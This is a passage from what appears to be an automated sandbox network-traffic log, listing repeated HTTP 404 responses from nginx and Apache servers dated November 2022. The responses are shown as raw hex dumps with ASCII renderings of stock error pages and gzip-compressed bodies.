c7 c7 af 78 e9 2a 51 bb 7d d0 9f f1 2d b3 27 d1 26 5f 76 20 cc 4d b9 4c 7d 84 4c 9c e2 0d 3d 4b 45 51 d4 de 30 76 80 ca d8 53 61 db ff 1d f5 a3 11 4e 65 85 c6 87 50 88 b8 9d 68 ab db d5 ef 87 c8 bd 49 79 45 16 6a c9 69 b3 8c 2f 1e 68 c5 8a 94 32 0d cb 17 a5 4b b9 b9 1d c8 f8 35 f2 44 89 3a 43 48 59 cc 27 16 ac 49 15 6a fe d4 8e 18 32 95 ab ac cc 76 f9 5f fe e8 63 1b 94 c7 84 e7 42 92 ae a1 f2 b9 6b 53 de e6 e8 16 45 ac f6 e9 ad 5a a6 04 b9 a9 3a 8a fe bc f7 2f 4f 20 91 d7 6e 05 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 309TH)_L$.<#}$Dbv4hpNttyty/"E^gc_f6M]i/DEl0I]`;sS SaRyl**?z(ZLfA3Nw`<)Fdxc)\*3]j,6>~H_N=La0Tg%{6KKoeBsO7__\mXC<Z
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:35:56 GMTContent-Type: text/htmlContent-Length: 1390Connection: closeVary: Accept-EncodingLast-Modified: Tue, 02 Jan 2018 12:36:34 GMTETag: "6b40108-56e-561ca595b5880"Accept-Ranges: bytesData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 d1 f2 f0 e0 ed e8 f6 e0 20 ed e5 20 ed e0 e9 e4 e5 ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 63 68 6f 73 74 2e 72 75 2f 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 6d 63 6c 6f 67 6f 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 6a 70 67 22 20 61 6c 74 3d 22 cc e0 ea f5 ee f1 f2 22 20 62 6f 72 64 65 72 3d 22 30 22 3e 3c 2f 61 3e 3c 62 72 3e 3c 62 72 3e 0a 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 62 72 3e 43 f2 f0 e0 ed e8 f6 e0 20 ed e5 20 ed e0 e9 e4 e5 ed e0 3c 2f 48 31 3e 3c 62 72 3e 0a dd f2 e0 20 f1 f2 f0 e0 ed e8 f6 e0 20 f1 e3 e5 ed e5 f0 e8 f0 ee e2 e0 ed e0 20 e0 e2 f2 ee ec e0 f2 e8 f7 e5 f1 ea e8 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 63 68 6f 73 74 2e 72 75 2f 22 3e f5 ee f1 f2 e8 ed e3 ee ec 20 cc e0 ea f5 ee f1 f2 3c 2f 61 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 6
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:36:02 GMTServer: ApacheLast-Modified: Thu, 29 Oct 2020 17:44:48 GMTETag: "82a1a-f65-5b2d2d61e36a7"Accept-Ranges: bytesContent-Length: 3941X-Frame-Options: DENYConnection: closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 38 36 39 32 63 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 53 61 6e 73 20 55 6e 69 63 6f 64 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 47 61 72 75 64 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 09 09 09 61 20 7b 0d 0a 09 09 09 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 09 09 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 72 61 70 70 65 72 20 7b 0d 0a 09 09 09 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 30 30 70 78 3b 0d 0a 09 09 09 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 65 6d 3b 0d 0a 09
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:36:04 GMTServer: ApacheLast-Modified: Thu, 29 Oct 2020 17:44:48 GMTETag: "82a1a-f65-5b2d2d61e36a7"Accept-Ranges: bytesContent-Length: 3941X-Frame-Options: DENYConnection: closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 38 36 39 32 63 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 53 61 6e 73 20 55 6e 69 63 6f 64 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 47 61 72 75 64 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 09 09 09 61 20 7b 0d 0a 09 09 09 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 09 09 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 72 61 70 70 65 72 20 7b 0d 0a 09 09 09 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 30 30 70 78 3b 0d 0a 09 09 09 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 65 6d 3b 0d 0a 09
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:36:06 GMTServer: ApacheLast-Modified: Thu, 29 Oct 2020 17:44:48 GMTETag: "82a1a-f65-5b2d2d61e36a7"Accept-Ranges: bytesContent-Length: 3941X-Frame-Options: DENYConnection: closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 38 36 39 32 63 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 53 61 6e 73 20 55 6e 69 63 6f 64 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 47 61 72 75 64 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 09 09 09 61 20 7b 0d 0a 09 09 09 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 09 09 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 72 61 70 70 65 72 20 7b 0d 0a 09 09 09 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 30 30 70 78 3b 0d 0a 09 09 09 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 65 6d 3b 0d 0a 09
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:36:12 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:36:14 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:36:16 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:36:24 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:36:26 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:36:28 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 29 Nov 2022 09:36:43 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a 10 d4 95 12 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 86 b8 24 97 68 e7 e3 bd dd f7 66 1c 5f 7e 48 df 2f 7f dc df 40 e5 9a fa fa 22 ee ff 20 ae 50 c8 eb 0b 80 b8 41 27 20 af 84 b1 e8 92 a0 75 45 f8 36 f0 09 eb 76 35 82 db ad 30 09 1c 6e 5d 94 5b eb 33 1e 6a 0c 99 96 bb 31 bc 58 09 e3 14 9a 31 50 61 44 83 f0 9b 41 8f 7f 15 52 59 b9 d9 d5 74 fa 72 7e 92 dc 90 74 d5 33 b9 46 98 92 d4 6c 7a da b5 12 52 92 2a 87 52 99 36 12 cd 50 46 b7 ae 26 85 43 a9 42 2b 17 5a fa 85 cf dc 64 8d c6 51 2e ea 50 d4 54 aa 59 26 2c 76 50 a7 17 cb 44 fe 58 1a dd 2a 39 73 46 28 cb ea a0 72 c7 75 7f 8e 44 e8 64 1c 10 4d 33 65 51 eb cd ac 22 29 51 9d 22 c4 91 37 e8 89 87 fc 06 e6 4a 82 bb f4 7b 00 8a bd 48 02 dc ae c8 60 6f db de e9 43 15 29 89 db 31 14 ba 66 96 31 88 ba 3e 34 dd a6 e9 ed 97 9b 77 e9 b2 9f 83 7e 40 ce b7 19 9d 69 b7 a7 ba 0c 43 f8 e8 91 d9 25 f8 ca 23 16 2e 45 09 05 6d d1 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 4d 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a9 69 9b a7 a1 d6 a2 f1 67 91 71 d5 74 7e 78 e7 9a 70 b3 d2 c6 75 cf 8c a3 fd 42 c4 9d 1f 9e 5e d2 1a 48 26 c1 7e c0 7b 31 22 8e fa ac cd 0d ad dc d3 f5 78 10 6b d1 47 fb 2d 91 3a 6f 1b 36 64 b2 31 e4 f0 d5 91 e9 87 05 19 c5 ff c5 81 5a a8 b2 15 25 3b f9 99 d1 17 9e 33 18 0d 42 1d 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 47 d6 7a 92 eb 26 2a 4c d3 1d a3 73 fd 1b 1e 0d bd 99 d4 3a 17 8e b4 9a 54 da 3a 60 d8 b3 8d a3 4f e9 5d ba b8 ef 29 bf 2d ce f1 8c a2 ee 3a 93 07 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ee 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9a 51 15 c5 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCP*c{Z{7]gN$hf_~H/@" PA' uE6v50n][3j1X1PaDARYtr~t3FlzR*R6PF&CB+ZdQ.PTY&,vPDX*9sF(ruDdM3eQ")Q"7J{H`oC)1f1>4w~@iC%#.Eme!9-Fg&qM9GpU~P$9"GJd:Fligqt~xpuB^H&~{1"xkG-:o6d1Z%;3B <|Gz&*Ls:T:`O])-:RFBW+}c_Q0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 29 Nov 2022 09:36:45 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a 10 d4 95 12 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 86 b8 24 97 68 e7 e3 bd dd f7 66 1c 5f 7e 48 df 2f 7f dc df 40 e5 9a fa fa 22 ee ff 20 ae 50 c8 eb 0b 80 b8 41 27 20 af 84 b1 e8 92 a0 75 45 f8 36 f0 09 eb 76 35 82 db ad 30 09 1c 6e 5d 94 5b eb 33 1e 6a 0c 99 96 bb 31 bc 58 09 e3 14 9a 31 50 61 44 83 f0 9b 41 8f 7f 15 52 59 b9 d9 d5 74 fa 72 7e 92 dc 90 74 d5 33 b9 46 98 92 d4 6c 7a da b5 12 52 92 2a 87 52 99 36 12 cd 50 46 b7 ae 26 85 43 a9 42 2b 17 5a fa 85 cf dc 64 8d c6 51 2e ea 50 d4 54 aa 59 26 2c 76 50 a7 17 cb 44 fe 58 1a dd 2a 39 73 46 28 cb ea a0 72 c7 75 